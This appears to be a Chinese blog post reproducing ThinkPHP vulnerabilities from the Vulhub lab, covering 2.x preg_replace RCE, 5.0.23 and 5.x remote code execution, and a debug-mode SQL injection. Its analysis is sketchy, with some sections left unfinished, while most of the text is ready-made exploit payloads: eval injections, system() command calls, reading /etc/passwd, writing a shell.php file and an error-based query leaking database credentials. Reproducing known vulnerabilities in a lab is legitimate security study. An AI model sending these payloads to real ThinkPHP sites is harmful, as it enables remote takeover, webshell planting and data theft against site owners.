本篇博客主要复现了Vulhub上thinkphp相关内容!

2.X RCE

漏洞分析

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

详细内容参见:https://www.moonback.xyz/2020/01/31/preg-replace%E4%B8%8E%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

先介绍一下TP的路由规则

URL访问模式,可选参数0、1、2、3,代表以下四种模式:

  • 0 (普通模式)
  • 1 (PATHINFO 模式) ->默认使用
  • 2 (REWRITE 模式)
  • 3 (兼容模式)

PATHINFO 模式还分为3种规则,使用数字1、2、3代表以下三种模式:

  • 1 普通模式(参数没有顺序,例如/m/module/a/action/id/1)
  • 2 智能模式(系统默认使用的模式,可自动识别模块和操作/module/action/id/1/ 或者 /module,action,id,1/…)
  • 3 兼容模式(通过一个GET变量将PATHINFO传递给dispather,默认为s,例如index.php?s=/module/action/id/1)

这些东西在ThinkPHP/Common/convention.php中定义的有

漏洞出现的位置位于ThinkPHP/Lib/Think/UtilDispatcher.class.php

漏洞复现

我们可以构造没有的路由规则来rce

1
2
3
?s=a/b/c/${phpinfo()}
s=a/b/c/${eval($_POST[1])}
?s=a/b/c/${@print(eval($_POST[1]))}

5.0.23 RCE

漏洞分析

由于没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.235.1.0<=ThinkPHP<=5.1.30

漏洞位于thinkphp/library/think/Request.php

可以看到通过外部传入Config::get('var_method')可以造成该类的任意方法调用

这里我们又可以将类属性进行替换

啊 太难了 先挖好坑!。。。。。

漏洞复现

我们最终构造的payload:

1
2
3
4
5
6
7
8
http://127.0.0.1/index.php?s=captcha

#命令执行
POST1:_method=__construct&filter[]=system&method=get&get[]=whoami
POST2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

#任意文件包含
POST: _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/etc/passwd

命令执行1:

命令执行2:

任意文件读取:

5-rce

漏洞分析

影响范围

5.x < 5.1.31
5.x <= 5.0.23

漏洞点在library/think/route/dispatch/Module.php

留个坑

漏洞复现

5.1.x php版本>5.5

1
2
3
4
5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4

1
2
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
1
2
3
4
5
6
7
8
9
10
11
12
13
app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

/thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

/thinkphp/public/?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1

/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars=dir

/thinkphp/public/?s=index/\think\app/invokefunction&function=system&return_value=&command=dir

/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars[0]=dir&vars[1][]=

/thinkphp/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

in-sqlinjection

漏洞分析

要求要开启DEBUG模式

Tp官方版本5.0.9默认依旧是开放着调试模式

漏洞复现

可以爆出数据库账号密码

1
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

参考:

https://mochazz.github.io/2019/04/09/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C10/

https://www.smi1e.top/thinkphp-5-0-05-0-23-rce-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://xz.aliyun.com/t/3845

https://xz.aliyun.com/t/3570

https://www.smi1e.top/thinkphp-5-x-rce-%E5%88%86%E6%9E%90/

https://xz.aliyun.com/t/125

评论